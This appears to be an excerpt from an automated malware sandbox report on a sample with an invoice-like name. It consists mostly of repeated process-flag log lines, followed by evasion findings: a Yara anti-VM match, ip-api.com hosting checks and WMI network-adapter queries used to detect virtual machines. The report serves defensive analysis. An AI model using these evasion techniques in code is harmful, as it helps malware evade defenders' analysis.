Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: RFQ678903423_PROD_INQUIRY_SHANG_NOG_INDUSTRY.exe PID: 7520, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7792, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7872, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 7748, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: svchost.exe PID: 8396, type: MEMORYSTR

Check if machine is in data center or colocation facility

Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /line/?fields=hosting HTTP/1.1Host: ip-api.comConnection: Keep-Alive

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
